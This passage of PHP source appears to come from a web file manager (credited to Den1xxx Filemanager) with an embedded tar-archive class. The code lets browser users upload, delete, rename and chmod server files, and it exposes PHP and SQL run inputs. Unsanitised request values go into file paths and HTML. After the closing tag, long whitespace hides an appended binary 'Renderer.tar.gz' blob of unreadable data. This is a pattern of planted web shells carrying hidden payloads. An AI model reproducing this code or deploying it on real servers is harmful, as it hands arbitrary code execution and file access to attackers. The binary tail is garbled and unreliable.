    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           PK     |\&\d d   Renderer.tar.gznu [              	<8۲%J"ƾ}}c03c)=$$d)[քER(!9Uy߯ޏS3˹{9瞻@QH4B<7ñ>$ُ$𑓑a<𑖖H¤%`R@,L"㇟`fF]051@>0P|evSzRRr!L>w<{=$] t޵"㩗Wo(j
5M'Ҧϊz[*VpPm+VȷqBiY>&3g2_kk
Ŀ}3vwצ7ԏ6m(_kULQ<@e9i;r&}i)mF#.-
I-Wğ7'2q#O5Pǎ_Ok|dAˆl˴Y3[<ٱ^wa>Y˳O挍]y+Û`zG]wڱ0J[*
